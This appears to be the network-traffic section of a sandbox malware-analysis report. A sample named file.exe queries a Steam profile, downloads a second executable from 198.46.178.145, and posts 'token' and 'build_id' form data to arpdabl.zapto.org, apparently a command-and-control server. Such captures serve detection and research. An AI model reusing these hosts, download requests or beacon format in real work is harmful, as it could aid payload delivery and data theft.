Jul 26, 2024 11:27:12.210567951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210582972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210597992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.210603952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.210617065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.212359905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233107090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233184099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233197927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233253002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233253002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233432055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233443975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233454943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233465910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233480930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233515978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233880997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233894110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233906031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233916044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233927011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233935118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233937979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233948946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.233956099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.233968973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234028101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234638929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234651089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234662056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234672070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234682083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234687090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234694004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234704971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234713078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234715939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234726906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.234735966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234757900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.234771967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.235491037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.235510111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.235522032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.235533953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.235548973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.235565901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262104988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262204885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262214899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262264967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262454987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262468100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262480021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262528896 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262679100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262690067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262713909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262748003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262761116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262769938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262770891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262784004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.262789011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.262823105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.263407946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263420105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263430119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263441086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263453007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263454914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.263463974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263467073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.263474941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263484955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.263499022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.263521910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.264350891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264363050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264372110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264383078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264393091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264395952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.264403105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.264404058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264415026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264425993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264436007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.264436007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.264456034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.264473915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.265276909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265291929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265301943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265311956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265324116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265335083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265345097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265345097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.265356064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265366077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.265367031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.265379906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.265400887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.266294003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266305923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266315937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266328096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266338110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266340971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.266350031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266360998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266366005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.266371965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266382933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.266382933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.266407013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.266429901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.267283916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267297029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267307043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267318010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267328024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267333031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.267338991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267348051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267358065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267359972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.267369986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267376900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.267380953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.267405033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.267587900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.268100023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268111944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268121958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268131971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268142939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268148899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.268151999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268162012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268172026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268177032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.268179893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268193960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.268224955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.268870115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268879890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.268922091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.274240971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.274319887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.274328947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.274358988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.274394035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:12.274564981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.274575949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:12.274585009 CEST	80	49741	198.46.178.145	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 11:26:27.945904016 CEST	192.168.2.6	1.1.1.1	0xc331	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:27:17.635248899 CEST	192.168.2.6	1.1.1.1	0x90d9	Standard query (0)	arpdabl.zapto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 11:26:27.953936100 CEST	1.1.1.1	192.168.2.6	0xc331	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Jul 26, 2024 11:27:17.644274950 CEST	1.1.1.1	192.168.2.6	0x90d9	No error (0)	arpdabl.zapto.org		77.91.101.71	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49741	198.46.178.145	80	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:27:04.002250910 CEST	223	OUT	GET /7847438767.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 198.46.178.145 Cache-Control: no-cache
Jul 26, 2024 11:27:04.548686981 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 24 Jul 2024 07:28:22 GMT Accept-Ranges: bytes ETag: "40ef51109bddda1:0" Server: Microsoft-IIS/10.0 Date: Fri, 26 Jul 2024 09:27:04 GMT Content-Length: 11989504 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 36 34 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 0a a1 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 c2 8b 00 00 2c 2b 00 00 00 00 00 a0 d0 8b 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 05 00 02 00 05 00 02 00 00 00 00 00 00 60 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win64$7PEdf",+@`@ ``"P\|(t.text0 `.data}~@.bss,`.idata"P`RD@.didata@.edata`(@@.tlsp.rdatam*@@.reloc,@B.pdata@@.rsrc\|\|v@@`
Jul 26, 2024 11:27:04.548736095 CEST	1236	IN	Data Raw: 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 10 40 00 00 00 00 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 00 00 00 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 Data Ascii: @@@Boolean@FalseTrueSystem@@AnsiChar`@Char@ShortInt@SmallInt@Integer
Jul 26, 2024 11:27:04.548748016 CEST	1236	IN	Data Raw: 00 00 00 00 00 06 00 00 00 00 00 00 00 02 02 44 33 02 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 02 02 44 34 02 00 02 00 05 00 0b 30 62 41 00 00 00 00 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 00 00 00 00 02 12 68 14 40 Data Ascii: D3D40bA&op_Equality@h@Lefth@RightPbA&op_Inequality@h@Lefth@Right`cAEmptyh@pbACreateh@
Jul 26, 2024 11:27:04.548957109 CEST	1236	IN	Data Raw: 17 40 00 00 00 00 00 04 4c 65 66 74 02 00 12 a8 17 40 00 00 00 00 00 05 52 69 67 68 74 02 00 02 00 70 1a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 25 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 Data Ascii: @Left@Rightp@%@p@2@0@@@0@ @`@p@@P@@@@P@`@p@@%:@
Jul 26, 2024 11:27:04.548978090 CEST	1236	IN	Data Raw: 00 00 09 43 6c 61 73 73 49 6e 66 6f 03 00 38 11 40 00 00 00 00 00 18 00 01 00 00 00 00 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 38 00 b0 cb 40 00 00 00 00 00 0c 49 6e 73 74 61 6e 63 65 53 69 7a 65 03 00 b8 10 40 00 00 00 00 00 18 00 01 00 Data Ascii: ClassInfo8@Self8@InstanceSize@SelfL@InheritsFrom@ Self@AClassK@MethodAddress8@ Selfp@
Jul 26, 2024 11:27:04.548993111 CEST	1236	IN	Data Raw: 08 c8 25 40 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 08 c8 25 40 00 00 00 00 00 00 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 38 11 40 00 00 00 00 00 00 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 3d 00 60 d3 40 00 00 00 00 00 11 41 Data Ascii: %@Self%@ExceptObject8@ExceptAddr=`@AfterConstruction%@Self=p@BeforeDestruction%@SelfI@Dispatch %@Self
Jul 26, 2024 11:27:04.549011946 CEST	1236	IN	Data Raw: 00 00 00 00 00 07 0d 57 65 61 6b 41 74 74 72 69 62 75 74 65 e8 27 40 00 00 00 00 00 e0 26 40 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 29 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: WeakAttribute'@&@System)@ )@)@)@&@0@@@0@ @`@p@@P@@@@P@`@p@
Jul 26, 2024 11:27:04.549407005 CEST	1236	IN	Data Raw: 00 40 ca 40 00 00 00 00 00 50 cc 40 00 00 00 00 00 60 ca 40 00 00 00 00 00 70 ca 40 00 00 00 00 00 80 ca 40 00 00 00 00 00 00 00 02 00 2e 2d 40 00 00 00 00 00 44 00 f1 ff 73 2d 40 00 00 00 00 00 44 00 f1 ff 00 00 0f 48 50 50 47 45 4e 41 74 74 72 Data Ascii: @@P@`@p@@.-@Ds-@DHPPGENAttributeEp@Create(-@Selfp@ADataX@Create0-@Self@AFlagp@AData
Jul 26, 2024 11:27:04.549427032 CEST	1236	IN	Data Raw: 00 00 00 00 00 78 32 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 33 40 00 00 00 00 00 78 32 40 00 00 00 00 00 9f 32 40 00 00 00 00 00 00 00 00 00 00 00 00 00 b1 32 40 00 00 00 00 00 18 00 00 00 00 Data Ascii: x2@3@x2@2@2@@0@@@0@ @`@p@@P@@@@P@`@p@@8@FController
Jul 26, 2024 11:27:04.549443007 CEST	1236	IN	Data Raw: 00 00 00 00 00 02 05 46 6c 61 67 73 02 00 b8 10 40 00 00 00 00 00 04 00 00 00 00 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 b8 10 40 00 00 00 00 00 08 00 00 00 00 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 38 11 40 00 00 00 00 00 Data Ascii: Flags@ElementSize@LockCount8@Data5@Bounds7@TVarRecord8@PRecord8@RecInfoh7@TVarData
Jul 26, 2024 11:27:04.554434061 CEST	1236	IN	Data Raw: 72 69 6e 67 09 74 6b 57 53 74 72 69 6e 67 09 74 6b 56 61 72 69 61 6e 74 07 74 6b 41 72 72 61 79 08 74 6b 52 65 63 6f 72 64 0b 74 6b 49 6e 74 65 72 66 61 63 65 07 74 6b 49 6e 74 36 34 0a 74 6b 44 79 6e 41 72 72 61 79 09 74 6b 55 53 74 72 69 6e 67 Data Ascii: ringtkWStringtkVarianttkArraytkRecordtkInterfacetkInt64tkDynArraytkUStringtkClassReftkPointertkProcedureSystem;@TVarRec@VInteger@VBoolean8@VChar4@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49744	77.91.101.71	80	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:27:17.650150061 CEST	329	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: arpdabl.zapto.org Content-Length: 2673 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 11:27:17.650198936 CEST	2673	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------FHIEBKKFHIEGCA
Jul 26, 2024 11:27:18.516021013 CEST	161	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 26 Jul 2024 09:27:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	23.192.247.89	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:28 UTC	119	OUT	GET /profiles/76561199747278259 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:29 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 26 Jul 2024 09:26:28 GMT Content-Length: 34725 Connection: close Set-Cookie: sessionid=76dec7b0b56f3980e16e1107; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-07-26 09:26:29 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-07-26 09:26:29 UTC	10062	IN	Data Raw: 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e Data Ascii: enDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="n
